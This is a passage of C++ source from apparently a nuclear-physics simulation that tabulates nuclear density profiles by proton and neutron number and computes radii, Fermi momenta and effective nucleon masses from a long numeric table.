6.6, 0.033637,
7.6, 0.018729,
8.7, 0.000020
};
nucleus_data dens_data[]=
{
nucleus_data( 1, 2, prfFB, fb_1_2 ),
nucleus_data( 2, 1, prfFB, fb_2_1 ),
nucleus_data( 6, 6, prfFB, fb_6_6a ),
nucleus_data( 6, 6, prfFB, fb_6_6b ),
nucleus_data( 7, 8, prfFB, fb_7_8 ),
nucleus_data( 8, 8, prfFB, fb_8_8 ),
nucleus_data(13, 14, prfFB, fb_13_14 ),
nucleus_data(14, 14, prfFB, fb_14_14 ),
nucleus_data(14, 15, prfFB, fb_14_15 ),
nucleus_data(14, 16, prfFB, fb_14_16 ),
nucleus_data(15, 16, prfFB, fb_15_16 ),
nucleus_data(16, 16, prfFB, fb_16_16 ),
nucleus_data(16, 18, prfFB, fb_16_18 ),
nucleus_data(16, 20, prfFB, fb_16_20 ),
nucleus_data(18, 22, prfFB, fb_18_22 ),
nucleus_data(20, 20, prfFB, fb_20_20 ),
nucleus_data(20, 24, prfFB, fb_20_24 ),
nucleus_data(22, 26, prfFB, fb_22_26 ),
nucleus_data(22, 28, prfFB, fb_22_28 ),
nucleus_data(24, 26, prfFB, fb_24_26 ),
nucleus_data(24, 28, prfFB, fb_24_28 ),
nucleus_data(24, 30, prfFB, fb_24_30 ),
nucleus_data(26, 28, prfFB, fb_26_28 ),
nucleus_data(26, 30, prfFB, fb_26_30 ),
nucleus_data(26, 32, prfFB, fb_26_32 ),
nucleus_data(27, 32, prfFB, fb_27_32 ),
nucleus_data(28, 30, prfFB, fb_28_30a ),
nucleus_data(28, 30, prfFB, fb_28_30b ),
nucleus_data(28, 32, prfFB, fb_28_32a ),
nucleus_data(28, 32, prfFB, fb_28_32b ),
nucleus_data(28, 32, prfFB, fb_28_32c ),
nucleus_data(28, 34, prfFB, fb_28_34 ),
nucleus_data(28, 36, prfFB, fb_28_36 ),
nucleus_data(29, 34, prfFB, fb_29_34 ),
nucleus_data(29, 36, prfFB, fb_29_36 ),
nucleus_data(30, 34, prfFB, fb_30_34 ),
nucleus_data(30, 36, prfFB, fb_30_36 ),
nucleus_data(30, 38, prfFB, fb_30_38 ),
nucleus_data(30, 40, prfFB, fb_30_40 ),
nucleus_data(32, 38, prfFB, fb_32_38 ),
nucleus_data(32, 40, prfFB, fb_32_40 ),
nucleus_data(32, 42, prfFB, fb_32_42 ),
nucleus_data(32, 44, prfFB, fb_32_44 ),
nucleus_data(38, 40, prfFB, fb_38_40 ),
nucleus_data(40, 50, prfFB, fb_40_50 ),
nucleus_data(40, 52, prfFB, fb_40_52 ),
nucleus_data(40, 54, prfFB, fb_40_54 ),
nucleus_data(42, 50, prfFB, fb_42_50 ),
nucleus_data(42, 52, prfFB, fb_42_52 ),
nucleus_data(42, 54, prfFB, fb_42_54 ),
nucleus_data(42, 56, prfFB, fb_42_56 ),
nucleus_data(42, 58, prfFB, fb_42_58 ),
nucleus_data(46, 58, prfFB, fb_46_58 ),
nucleus_data(46, 60, prfFB, fb_46_60 ),
nucleus_data(46, 62, prfFB, fb_46_62 ),
nucleus_data(46, 64, prfFB, fb_46_64 ),
nucleus_data(62, 82, prfFB, fb_62_82 ),
nucleus_data(62, 86, prfFB, fb_62_86a ),
nucleus_data(62, 86, prfFB, fb_62_86b ),
nucleus_data(62, 88, prfFB, fb_62_88 ),
nucleus_data(62, 90, prfFB, fb_62_90a ),
nucleus_data(62, 90, prfFB, fb_62_90b ),
nucleus_data(62, 92, prfFB, fb_62_92 ),
nucleus_data(64, 90, prfFB, fb_64_90 ),
nucleus_data(64, 94, prfFB, fb_64_94 ),
nucleus_data(68, 98, prfFB, fb_68_98 ),
nucleus_data(70,104, prfFB, fb_70_104 ),
nucleus_data(71,104, prfFB, fb_71_104 ),
nucleus_data(76,116, prfFB, fb_76_116 ),
nucleus_data(78,118, prfFB, fb_78_118 ),
nucleus_data(81,122, prfFB, fb_81_122 ),
nucleus_data(81,124, prfFB, fb_81_124 ),
nucleus_data(82,122, prfFB, fb_82_122 ),
nucleus_data(82,124, prfFB, fb_82_124 ),
nucleus_data(82,125, prfFB, fb_82_125 ),
nucleus_data(82,126, prfFB, fb_82_126a),
nucleus_data(82,126, prfFB, fb_82_126b),
nucleus_data(83,126, prfFB, fb_83_126 ),
nucleus_data( 1, 2, prfSOG, sog_1_2 ),
nucleus_data( 2, 1, prfSOG, sog_2_1 ),
nucleus_data( 2, 2, prfSOG, sog_2_2 ),
nucleus_data( 6, 6, prfSOG, sog_6_6 ),
nucleus_data( 8, 8, prfSOG, sog_8_8 ),
nucleus_data(12, 12, prfSOG, sog_12_12 ),
nucleus_data(14, 14, prfSOG, sog_14_14 ),
nucleus_data(16, 16, prfSOG, sog_16_16 ),
nucleus_data(19, 20, prfSOG, sog_19_20 ),
nucleus_data(20, 20, prfSOG, sog_20_20 ),
nucleus_data(20, 28, prfSOG, sog_20_28 ),
nucleus_data(28, 30, prfSOG, sog_28_30 ),
nucleus_data(50, 66, prfSOG, sog_50_66 ),
nucleus_data(50, 74, prfSOG, sog_50_74 ),
nucleus_data(81,124, prfSOG, sog_81_124),
nucleus_data(82,124, prfSOG, sog_82_124),
nucleus_data(82,126, prfSOG, sog_82_126),
nucleus_data( 3, 4, prfHO, ho_3_4 ),
nucleus_data( 4, 5, prfHO, ho_4_5 ),
nucleus_data( 5, 5, prfHO, ho_5_5 ),
nucleus_data( 5, 6, prfHO, ho_5_6 ),
nucleus_data( 8, 8, prfHO, ho_8_8 ),
nucleus_data( 8, 9, prfHO, ho_8_9 ),
nucleus_data( 8, 10, prfHO, ho_8_10 ),
nucleus_data( 6, 7, prfMHO, mho_6_7 ),
nucleus_data( 6, 8, prfMHO, mho_6_8 ),
nucleus_data(7, 7, prf3pF, _3pF_7_7 ),
nucleus_data(7 , 8, prf3pF, _3pF_7_8 ),
nucleus_data(12, 12, prf3pF, _3pF_12_12a),
nucleus_data(12, 12, prf3pF, _3pF_12_12b),
nucleus_data(12, 13, prf3pF, _3pF_12_13),
nucleus_data(14, 14, prf3pF, _3pF_14_14),
nucleus_data(14, 15, prf3pF, _3pF_14_15),
nucleus_data(14, 16, prf3pF, _3pF_14_16),
nucleus_data(15, 16, prf3pF, _3pF_15_16),
nucleus_data(17, 18, prf3pF, _3pF_17_18),
nucleus_data(17, 20, prf3pF, _3pF_17_20),
nucleus_data(19, 20, prf3pF, _3pF_19_20),
nucleus_data(20, 20, prf3pF, _3pF_20_20),
nucleus_data(20, 28, prf3pF, _3pF_20_28),
nucleus_data(28, 30, prf3pF, _3pF_28_30),
nucleus_data(28, 32, prf3pF, _3pF_28_32),
nucleus_data(28, 33, prf3pF, _3pF_28_33),
nucleus_data(28, 34, prf3pF, _3pF_28_34),
nucleus_data(28, 36, prf3pF, _3pF_28_36),
nucleus_data(16, 16, prf3pG, _3pG_16_16),
nucleus_data(40, 50, prf3pG, _3pG_40_50),
nucleus_data(40, 51, prf3pG, _3pG_40_51),
nucleus_data(40, 52, prf3pG, _3pG_40_52),
nucleus_data(40, 54, prf3pG, _3pG_40_54),
nucleus_data(40, 56, prf3pG, _3pG_40_56),
nucleus_data(42, 50, prf3pG, _3pG_42_50),
nucleus_data( 9, 10, prf2pF, _2pF_9_10 ),
nucleus_data(10, 10, prf2pF, _2pF_10_10),
nucleus_data(10, 12, prf2pF, _2pF_10_12),
nucleus_data(12, 12, prf2pF, _2pF_12_12),
nucleus_data(12, 14, prf2pF, _2pF_12_14),
nucleus_data(13, 14, prf2pF, _2pF_13_14),
nucleus_data(18, 18, prf2pF, _2pF_18_18),
nucleus_data(18, 22, prf2pF, _2pF_18_22),
nucleus_data(22, 26, prf2pF, _2pF_22_26),
nucleus_data(23, 28, prf2pF, _2pF_23_28),
nucleus_data(24, 26, prf2pF, _2pF_24_26),
nucleus_data(24, 28, prf2pF, _2pF_24_28),
nucleus_data(24, 29, prf2pF, _2pF_24_29),
nucleus_data(25, 30, prf2pF, _2pF_25_30),
nucleus_data(26, 28, prf2pF, _2pF_26_28),
nucleus_data(26, 30, prf2pF, _2pF_26_30),
nucleus_data(26, 32, prf2pF, _2pF_26_32),
nucleus_data(27, 32, prf2pF, _2pF_27_32),
nucleus_data(29, 34, prf2pF, _2pF_29_34),
nucleus_data(29, 36, prf2pF, _2pF_29_36),
nucleus_data(30, 34, prf2pF, _2pF_30_34),
nucleus_data(30, 36, prf2pF, _2pF_30_36),
nucleus_data(30, 38, prf2pF, _2pF_30_38),
nucleus_data(30, 40, prf2pF, _2pF_30_40),
nucleus_data(32, 38, prf2pF, _2pF_32_38),
nucleus_data(32, 40, prf2pF, _2pF_32_40),
nucleus_data(38, 50, prf2pF, _2pF_38_50),
nucleus_data(39, 50, prf2pF, _2pF_39_50),
nucleus_data(41, 52, prf2pF, _2pF_41_52),
nucleus_data(79, 118, prf2pF, _2pF_79_118),
nucleus_data(90, 142, prf2pF, _2pF_Th232a),
nucleus_data(90, 142, prf2pF, _2pF_Th232b),
nucleus_data(92, 146, prf2pF, _2pF_U238a),
nucleus_data(92, 146, prf2pF, _2pF_U238b),
// nucleus_data( 1, 0, prfMI, mi_1_0 ),
// nucleus_data( 1, 1, prfMI, mi_1_1 ),
// nucleus_data( 2, 1, prfMI, mi_2_1 ),
// nucleus_data( 2, 2, prfMI, mi_2_2 ),
nucleus_data( 11, 12, prfUG, ug_11_12 ),
nucleus_data( 0, 0, 0, 0)
};
double nucleus_data::dens(double r)
{
double X=dens_fun(dens_params,r/fermi)/fermi3;
if(dens_fun==prf3pF
|| dens_fun==prf3pG
|| dens_fun==prfSOG)
return X*(_p+_n);
if(dens_fun==prfFB)
return X*(_p+_n)/_p;
return X;
}
const char* nucleus_data::name()
{
//return el[p].name;
if(dens_fun==prfFB) return " FB";
if(dens_fun==prfSOG) return "SOG";
if(dens_fun==prf2pF) return "2pF";
if(dens_fun==prf3pF) return "3pF";
if(dens_fun==prf3pG) return "3pG";
if(dens_fun==prfHO) return " HO";
if(dens_fun==prfMHO) return "MHO";
if(dens_fun==prfMI) return " MI";
if(dens_fun==prfUG) return " UG";
return "";
}
double nucleus_data::r()
{
if(_r==0)
{
if(dens_fun==prfFB)
return _r=dens_params[0]*fermi;
double r0=0;
double r1=20.0*fermi;
double oldrs=r1;
double rs=0;
double ds0=1e-7*dens(0);
do
{
oldrs=rs;
rs=(r0+r1)/2;
double ds=dens(rs);
if(ds>ds0)
r0=rs;
else
r1=rs;
}
while(rs!=oldrs);
_r=rs;
}
return _r;
}
double nucleus_data::random_r()
{
if(_max_rr_dens==0)
{
double R=r(),d=0;
for(double a=0;a<R;a+=R/100)
_max_rr_dens=max(_max_rr_dens,a*a*dens(a));
}
static int i=0,j=0;
++j;
double r0=r(),r1;
do
{
++i;
r1 = r0*frandom();
}
while ( r1*r1*dens(r1) < frandom ()*_max_rr_dens);
// cout<<i*1./j<<endl;
return r1;
}
double nucleus_data::kF()
{
if(_kF==0)
{
_kF=calg5a(makefun(*this,&nucleus_data::kf_helper),0,r())/
calg5a(makefun(*this,&nucleus_data::dens_helper),0,r())
;
}
return _kF;
}
double nucleus_data::Mf()
{
if(_Mf==0)
{
// _Mf=calg5a(makefun(*this,&nucleus_data::mf_helper),0,r())/
// calg5a(makefun(*this,&nucleus_data::dens_helper),0,r());
_Mf=Meff(kF());
}
return _Mf;
}
nucleus_data* best_data(int p, int n)
{
int p0=p,n0=n,x=1000000000;
nucleus_data *d=dens_data;
for(nucleus_data *data=dens_data; data->p() >0; data++)
{
int x1=pow2(data->p()-p0)+pow2(data->n()-n0)+pow2(data->p()+data->n()-p0-n0);
if(x1<x)
{
x=x1;
d=data;
if(x==0)
return data;
}
}
return d;
}
double density(double r_,int p, int n)
{
double A=p+n;
if(p>83) ///< for big nuclei use rescaled Pb profile
return ::density(r_*cbrt((82+126)/A),82,126);
double r=r_;
nucleus_data *d=best_data(p,n);
r*=cbrt(A/d->A()); // and scale its size if needed
return max(d->dens(r),0.);
}
double Meff(double kf)
{
static const double MEF[3000]=
{
938.919,938.918,938.918,938.918,938.917,938.915,938.913,938.909,938.904,
938.899,938.891,938.882,938.871,938.858,938.843,938.826,938.806,938.784,
938.759,938.731,938.699,938.665,938.627,938.585,938.54,938.491,938.437,
938.38,938.318,938.251,938.179,938.103,938.021,937.935,937.843,937.745,
937.641,937.532,937.417,937.295,937.167,937.032,936.891,936.743,936.587,
936.425,936.255,936.077,935.892,935.699,935.498,935.289,935.072,934.845,
934.611,934.367,934.114,933.853,933.582,933.301,933.011,932.711,932.401,
932.08,931.75,931.409,931.057,930.695,930.322,929.937,929.541,929.134,
928.716,928.285,927.843,927.388,926.921,926.442,925.951,925.446,924.929,
924.399,923.855,923.298,922.728,922.144,921.546,920.934,920.308,919.667,
919.012,918.343,917.658,916.959,916.245,915.515,914.77,914.009,913.233,
912.44,911.632,910.807,909.966,909.109,908.235,907.344,906.436,905.511,
904.568,903.608,902.631,901.635,900.622,899.591,898.541,897.473,896.387,
895.282,894.157,893.014,891.852,890.671,889.47,888.249,887.009,885.749,
884.469,883.168,881.848,880.506,879.144,877.762,876.358,874.933,873.488,
872.02,870.531,869.021,867.489,865.934,864.358,862.76,861.139,859.495,
857.829,856.14,854.429,852.694,850.936,849.155,847.35,845.521,843.669,
841.793,839.893,837.969,836.021,834.048,832.051,830.029,827.983,825.911,
823.815,821.694,819.547,817.375,815.177,812.954,810.706,808.431,806.131,
803.805,801.452,799.074,796.669,794.237,791.78,789.295,786.784,784.246,
781.682,779.09,776.472,773.826,771.153,768.453,765.726,762.972,760.19,
757.38,754.543,751.679,748.787,745.867,742.92,739.944,736.942,733.911,
730.853,727.767,724.653,721.511,718.341,715.144,711.919,708.667,705.386,
702.078,698.743,695.38,691.99,688.572,685.127,681.654,678.155,674.628,
671.075,667.495,663.889,660.256,656.596,652.911,649.2,645.463,641.701,
637.913,634.101,630.264,626.402,622.516,618.607,614.674,610.718,606.74,
602.739,598.716,594.671,590.606,586.52,582.414,578.288,574.144,569.981,
565.8,561.603,557.388,553.158,548.913,544.653,540.38,536.093,531.795,
527.486,523.166,518.837,514.499,510.154,505.802,501.445,497.083,492.718,
488.351,483.983,479.615,475.248,470.883,466.522,462.166,457.816,453.474,
449.14,444.817,440.505,436.205,431.92,427.65,423.397,419.162,414.947,
410.752,406.579,402.43,398.305,394.206,390.134,386.091,382.077,378.094,
374.142,370.223,366.338,362.488,358.673,354.895,351.154,347.452,343.788,
340.163,336.579,333.035,329.532,326.071,322.652,319.275,315.94,312.648,
309.399,306.193,303.03,299.91,296.833,293.799,290.808,287.859,284.953,
282.088,279.266,276.485,273.746,271.048,268.39,265.772,263.193,260.655,
258.154,255.692,253.268,250.881,248.531,246.217,243.939,241.696,239.488,
237.313,235.172,233.065,230.989,228.946,226.933,224.952,223,221.079,
219.186,217.323,215.487,213.679,211.898,210.143,208.415,206.712,205.034,
203.381,201.752,200.146,198.564,197.005,195.467,193.952,192.459,190.986,
189.534,188.102,186.69,185.298,183.925,182.57,181.234,179.916,178.616,
177.333,176.066,174.817,173.584,172.367,171.166,169.98,168.81,167.654,
166.513,165.386,164.274,163.175,162.09,161.018,159.959,158.913,157.88,
156.859,155.85,154.853,153.868,152.894,151.932,150.981,150.041,149.111,
148.192,147.284,146.385,145.497,144.618,143.75,142.89,142.04,141.2,
140.368,139.545,138.731,137.926,137.129,136.34,135.56,134.788,134.023,
133.267,132.518,131.777,131.043,130.317,129.597,128.885,128.18,127.482,
126.791,126.106,125.428,124.757,124.092,123.433,122.78,122.134,121.493,
120.859,120.23,119.607,118.99,118.379,117.773,117.173,116.578,115.988,
115.403,114.824,114.25,113.68,113.116,112.557,112.002,111.453,110.908,
110.367,109.831,109.3,108.773,108.251,107.733,107.219,106.709,106.204,
105.703,105.206,104.712,104.223,103.738,103.257,102.779,102.305,101.836,
101.369,100.907,100.448,99.9921,99.5401,99.0916,98.6466,98.205,97.7667,
97.3317,96.9001,96.4716,96.0464,95.6243,95.2054,94.7896,94.3768,93.9671,
93.5604,93.1566,92.7557,92.3578,91.9627,91.5704,91.181,90.7943,90.4104,
90.0292,89.6506,89.2748,88.9015,88.5308,88.1628,87.7972,87.4342,87.0737,
86.7156,86.36,86.0068,85.656,85.3075,84.9614,84.6177,84.2762,83.937,
83.6,83.2653,82.9327,82.6024,82.2742,81.9482,81.6242,81.3024,80.9827,
80.665,80.3494,80.0357,79.7241,79.4145,79.1068,78.8011,78.4972,78.1953,
77.8953,77.5972,77.3009,77.0065,76.7138,76.423,76.134,75.8467,75.5612,
75.2775,74.9954,74.7151,74.4365,74.1595,73.8842,73.6105,73.3385,73.0681,
72.7993,72.5321,72.2665,72.0025,71.7399,71.479,71.2195,70.9616,70.7051,
70.4502,70.1967,69.9447,69.6941,69.445,69.1972,68.9509,68.706,68.4625,
68.2204,67.9796,67.7402,67.5021,67.2653,67.0299,66.7958,66.563,66.3314,
66.1012,65.8722,65.6445,65.418,65.1928,64.9687,64.746,64.5244,64.304,
64.0848,63.8668,63.65,63.4343,63.2198,63.0064,62.7941,62.583,62.373,
62.1641,61.9564,61.7497,61.5441,61.3395,61.1361,60.9337,60.7323,60.532,
60.3328,60.1345,59.9373,59.7411,59.5459,59.3517,59.1585,58.9663,58.7751,
58.5848,58.3955,58.2071,58.0197,57.8333,57.6478,57.4632,57.2795,57.0968,
56.9149,56.734,56.5539,56.3748,56.1965,56.0191,55.8426,55.6669,55.4921,
55.3182,55.1451,54.9728,54.8014,54.6308,54.4611,54.2921,54.124,53.9567,
53.7902,53.6244,53.4595,53.2954,53.132,52.9694,52.8076,52.6465,52.4863,
52.3267,52.1679,52.0099,51.8526,51.696,51.5402,51.3851,51.2307,51.077,
50.924,50.7718,50.6202,50.4694,50.3192,50.1697,50.021,49.8728,49.7254,
49.5786,49.4326,49.2871,49.1423,48.9982,48.8548,48.7119,48.5698,48.4282,
48.2873,48.147,48.0074,47.8683,47.7299,47.5921,47.4549,47.3184,47.1824,
47.047,46.9122,46.778,46.6444,46.5114,46.379,46.2471,46.1158,45.9851,
45.855,45.7254,45.5964,45.4679,45.34,45.2126,45.0858,44.9595,44.8338,
44.7086,44.584,44.4598,44.3362,44.2132,44.0906,43.9686,43.8471,43.7261,
43.6056,43.4856,43.3661,43.2471,43.1286,43.0107,42.8932,42.7761,42.6596,
42.5436,42.428,42.313,42.1984,42.0842,41.9706,41.8574,41.7446,41.6324,
41.5206,41.4092,41.2983,41.1879,41.0779,40.9683,40.8592,40.7506,40.6424,
40.5346,40.4272,40.3203,40.2138,40.1078,40.0021,39.8969,39.7921,39.6877,
39.5838,39.4802,39.3771,39.2744,39.1721,39.0701,38.9686,38.8675,38.7668,
38.6665,38.5666,38.467,38.3679,38.2691,38.1708,38.0728,37.9752,37.8779,
37.7811,37.6846,37.5885,37.4928,37.3974,37.3024,37.2078,37.1135,37.0196,
36.9261,36.8329,36.7401,36.6476,36.5555,36.4637,36.3723,36.2812,36.1904,
36.1001,36.01,35.9203,35.8309,35.7419,35.6532,35.5648,35.4768,35.3891,
35.3017,35.2146,35.1279,35.0415,34.9554,34.8697,34.7842,34.6991,34.6143,
34.5297,34.4456,34.3617,34.2781,34.1948,34.1119,34.0292,33.9468,33.8648,
33.783,33.7016,33.6204,33.5395,33.459,33.3787,33.2987,33.219,33.1396,
33.0604,32.9816,32.903,32.8248,32.7468,32.669,32.5916,32.5144,32.4375,
32.3609,32.2846,32.2085,32.1327,32.0572,31.9819,31.9069,31.8322,31.7577,
31.6835,31.6096,31.5359,31.4624,31.3893,31.3164,31.2437,31.1713,31.0991,
31.0272,30.9556,30.8842,30.813,30.7421,30.6715,30.601,30.5309,30.4609,
30.3912,30.3218,30.2526,30.1836,30.1149,30.0463,29.9781,29.91,29.8422,
29.7747,29.7073,29.6402,29.5733,29.5067,29.4402,29.374,29.308,29.2423,
29.1767,29.1114,29.0463,28.9814,28.9168,28.8523,28.7881,28.7241,28.6603,
28.5967,28.5333,28.4701,28.4072,28.3444,28.2819,28.2196,28.1574,28.0955,
28.0338,27.9723,27.911,27.8499,27.789,27.7283,27.6678,27.6075,27.5473,
27.4874,27.4277,27.3682,27.3088,27.2497,27.1908,27.132,27.0734,27.0151,
26.9569,26.8989,26.8411,26.7835,26.726,26.6688,26.6117,26.5548,26.4981,
26.4416,26.3852,26.3291,26.2731,26.2173,26.1617,26.1062,26.0509,25.9959,
25.9409,25.8862,25.8316,25.7772,25.723,25.6689,25.615,25.5613,25.5078,
25.4544,25.4012,25.3481,25.2952,25.2425,25.19,25.1376,25.0853,25.0333,
24.9814,24.9296,24.8781,24.8267,24.7754,24.7243,24.6734,24.6226,24.5719,
24.5215,24.4711,24.421,24.371,24.3211,24.2714,24.2219,24.1725,24.1232,
24.0741,24.0252,23.9764,23.9277,23.8792,23.8309,23.7827,23.7346,23.6867,
23.6389,23.5913,23.5438,23.4965,23.4493,23.4022,23.3553,23.3085,23.2619,
23.2154,23.1691,23.1228,23.0768,23.0308,22.985,22.9394,22.8938,22.8484,
22.8032,22.758,22.713,22.6682,22.6235,22.5789,22.5344,22.4901,22.4459,
22.4018,22.3579,22.314,22.2704,22.2268,22.1834,22.1401,22.0969,22.0538,
22.0109,21.9681,21.9254,21.8829,21.8405,21.7982,21.756,21.7139,21.672,
21.6302,21.5885,21.5469,21.5055,21.4641,21.4229,21.3818,21.3408,21.3,
21.2592,21.2186,21.1781,21.1377,21.0974,21.0572,21.0172,20.9772,20.9374,
20.8977,20.8581,20.8186,20.7792,20.74,20.7008,20.6618,20.6229,20.584,
20.5453,20.5067,20.4682,20.4298,20.3916,20.3534,20.3153,20.2774,20.2395,
20.2018,20.1641,20.1266,20.0892,20.0518,20.0146,19.9775,19.9405,19.9035,
19.8667,19.83,19.7934,19.7569,19.7205,19.6842,19.648,19.6119,19.5759,
19.54,19.5041,19.4684,19.4328,19.3973,19.3619,19.3266,19.2913,19.2562,
19.2212,19.1862,19.1514,19.1166,19.082,19.0474,19.0129,18.9786,18.9443,
18.9101,18.876,18.842,18.8081,18.7742,18.7405,18.7069,18.6733,18.6399,
18.6065,18.5732,18.54,18.5069,18.4739,18.441,18.4081,18.3754,18.3427,
18.3101,18.2776,18.2452,18.2129,18.1807,18.1485,18.1165,18.0845,18.0526,
18.0208,17.989,17.9574,17.9258,17.8944,17.863,17.8317,17.8004,17.7693,
17.7382,17.7072,17.6763,17.6455,17.6147,17.5841,17.5535,17.523,17.4926,
17.4622,17.432,17.4018,17.3717,17.3416,17.3117,17.2818,17.252,17.2223,
17.1926,17.163,17.1335,17.1041,17.0748,17.0455,17.0163,16.9872,16.9582,
16.9292,16.9003,16.8715,16.8427,16.814,16.7854,16.7569,16.7284,16.7001,
16.6717,16.6435,16.6153,16.5872,16.5592,16.5313,16.5034,16.4755,16.4478,
16.4201,16.3925,16.365,16.3375,16.3101,16.2828,16.2555,16.2283,16.2012,
16.1741,16.1472,16.1202,16.0934,16.0666,16.0399,16.0132,15.9866,15.9601,
15.9336,15.9072,15.8809,15.8546,15.8285,15.8023,15.7763,15.7502,15.7243,
15.6984,15.6726,15.6469,15.6212,15.5956,15.57,15.5445,15.5191,15.4937,
15.4684,15.4431,15.4179,15.3928,15.3678,15.3428,15.3178,15.2929,15.2681,
15.2433,15.2186,15.194,15.1694,15.1449,15.1204,15.096,15.0717,15.0474,
15.0232,14.999,14.9749,14.9508,14.9268,14.9029,14.879,14.8552,14.8314,
14.8077,14.7841,14.7605,14.7369,14.7134,14.69,14.6666,14.6433,14.6201,
14.5969,14.5737,14.5506,14.5276,14.5046,14.4816,14.4588,14.4359,14.4132,
14.3904,14.3678,14.3452,14.3226,14.3001,14.2777,14.2553,14.2329,14.2106,
14.1884,14.1662,14.144,14.122,14.0999,14.0779,14.056,14.0341,14.0123,
13.9905,13.9688,13.9471,13.9255,13.9039,13.8824,13.8609,13.8395,13.8181,
13.7968,13.7755,13.7543,13.7331,13.7119,13.6909,13.6698,13.6488,13.6279,
13.607,13.5861,13.5654,13.5446,13.5239,13.5032,13.4826,13.4621,13.4416,
13.4211,13.4007,13.3803,13.36,13.3397,13.3195,13.2993,13.2791,13.259,
13.239,13.219,13.199,13.1791,13.1592,13.1394,13.1196,13.0999,13.0802,
13.0605,13.0409,13.0214,13.0018,12.9824,12.9629,12.9436,12.9242,12.9049,
12.8857,12.8664,12.8473,12.8281,12.8091,12.79,12.771,12.7521,12.7331,
12.7143,12.6954,12.6766,12.6579,12.6392,12.6205,12.6019,12.5833,12.5648,
12.5463,12.5278,12.5094,12.491,12.4726,12.4543,12.4361,12.4179,12.3997,
12.3815,12.3634,12.3454,12.3274,12.3094,12.2914,12.2735,12.2557,12.2378,
12.22,12.2023,12.1846,12.1669,12.1493,12.1317,12.1141,12.0966,12.0791,
12.0617,12.0443,12.0269,12.0096,11.9923,11.975,11.9578,11.9406,11.9235,
11.9064,11.8893,11.8723,11.8553,11.8383,11.8214,11.8045,11.7876,11.7708,
11.754,11.7373,11.7206,11.7039,11.6872,11.6706,11.6541,11.6375,11.621,
11.6046,11.5881,11.5717,11.5554,11.5391,11.5228,11.5065,11.4903,11.4741,
11.4579,11.4418,11.4257,11.4097,11.3937,11.3777,11.3617,11.3458,11.3299,
11.3141,11.2983,11.2825,11.2667,11.251,11.2353,11.2197,11.204,11.1885,
11.1729,11.1574,11.1419,11.1264,11.111,11.0956,11.0802,11.0649,11.0496,
11.0343,11.0191,11.0039,10.9887,10.9736,10.9585,10.9434,10.9283,10.9133,
10.8983,10.8834,10.8684,10.8535,10.8387,10.8238,10.809,10.7943,10.7795,
10.7648,10.7501,10.7355,10.7208,10.7063,10.6917,10.6772,10.6626,10.6482,
10.6337,10.6193,10.6049,10.5906,10.5762,10.5619,10.5477,10.5334,10.5192,
10.505,10.4909,10.4767,10.4626,10.4486,10.4345,10.4205,10.4065,10.3925,
10.3786,10.3647,10.3508,10.337,10.3232,10.3094,10.2956,10.2819,10.2682,
10.2545,10.2408,10.2272,10.2136,10.2,10.1865,10.173,10.1595,10.146,
10.1326,10.1191,10.1058,10.0924,10.0791,10.0658,10.0525,10.0392,10.026,
10.0128,9.99961,9.98646,9.97333,9.96024,9.94716,9.93411,9.92109,9.90809,
9.89512,9.88218,9.86926,9.85636,9.84349,9.83065,9.81783,9.80503,9.79226,
9.77952,9.76679,9.7541,9.74143,9.72878,9.71616,9.70356,9.69099,9.67844,
9.66592,9.65342,9.64094,9.62849,9.61606,9.60366,9.59128,9.57892,9.56659,
9.55428,9.542,9.52973,9.5175,9.50528,9.49309,9.48093,9.46878,9.45666,
9.44456,9.43249,9.42044,9.40841,9.3964,9.38442,9.37246,9.36052,9.34861,
9.33672,9.32485,9.313,9.30118,9.28938,9.2776,9.26584,9.25411,9.2424,
9.23071,9.21904,9.20739,9.19577,9.18417,9.17259,9.16103,9.14949,9.13798,
9.12649,9.11502,9.10357,9.09214,9.08073,9.06935,9.05798,9.04664,9.03532,
9.02402,9.01274,9.00148,8.99024,8.97903,8.96783,8.95666,8.9455,8.93437,
8.92326,8.91217,8.9011,8.89005,8.87902,8.86801,8.85702,8.84605,8.8351,
8.82417,8.81327,8.80238,8.79151,8.78066,8.76984,8.75903,8.74824,8.73747,
8.72673,8.716,8.70529,8.6946,8.68393,8.67328,8.66265,8.65204,8.64145,
8.63088,8.62033,8.6098,8.59928,8.58879,8.57831,8.56786,8.55742,8.547,
8.5366,8.52622,8.51586,8.50552,8.49519,8.48489,8.4746,8.46433,8.45409,
8.44385,8.43364,8.42345,8.41327,8.40312,8.39298,8.38286,8.37276,8.36267,
8.35261,8.34256,8.33253,8.32252,8.31253,8.30255,8.29259,8.28265,8.27273,
8.26283,8.25294,8.24307,8.23322,8.22339,8.21357,8.20378,8.194,8.18423,
8.17449,8.16476,8.15505,8.14535,8.13568,8.12602,8.11637,8.10675,8.09714,
8.08755,8.07797,8.06842,8.05888,8.04935,8.03985,8.03036,8.02088,8.01143,
8.00199,7.99257,7.98316,7.97377,7.9644,7.95504,7.9457,7.93637,7.92707,
7.91777,7.9085,7.89924,7.89,7.88077,7.87156,7.86237,7.85319,7.84403,
7.83488,7.82575,7.81664,7.80754,7.79846,7.78939,7.78034,7.7713,7.76228,
7.75328,7.74429,7.73532,7.72636,7.71742,7.70849,7.69958,7.69069,7.68181,
7.67294,7.66409,7.65526,7.64644,7.63764,7.62885,7.62008,7.61132,7.60257,
7.59385,7.58513,7.57643,7.56775,7.55908,7.55043,7.54179,7.53317,7.52456,
7.51596,7.50738,7.49882,7.49027,7.48173,7.47321,7.4647,7.45621,7.44773,
7.43927,7.43082,7.42238,7.41396,7.40556,7.39717,7.38879,7.38042,7.37208,
7.36374,7.35542,7.34711,7.33882,7.33054,7.32228,7.31402,7.30579,7.29756,
7.28935,7.28116,7.27298,7.26481,7.25665,7.24851,7.24039,7.23227,7.22417,
7.21609,7.20801,7.19995,7.19191,7.18388,7.17586,7.16785,7.15986,7.15188,
7.14392,7.13596,7.12802,7.1201,7.11219,7.10429,7.0964,7.08853,7.08067,
7.07282,7.06499,7.05716,7.04936,7.04156,7.03378,7.02601,7.01825,7.01051,
7.00278,6.99506,6.98735,6.97966,6.97198,6.96431,6.95666,6.94902,6.94139,
6.93377,6.92616,6.91857,6.91099,6.90343,6.89587,6.88833,6.8808,6.87328,
6.86577,6.85828,6.8508,6.84333,6.83587,6.82843,6.821,6.81358,6.80617,
6.79877,6.79139,6.78401,6.77665,6.76931,6.76197,6.75464,6.74733,6.74003,
6.73274,6.72546,6.7182,6.71095,6.7037,6.69647,6.68925,6.68205,6.67485,
6.66767,6.6605,6.65334,6.64619,6.63905,6.63192,6.62481,6.6177,6.61061,
6.60353,6.59646,6.58941,6.58236,6.57532,6.5683,6.56129,6.55428,6.54729,
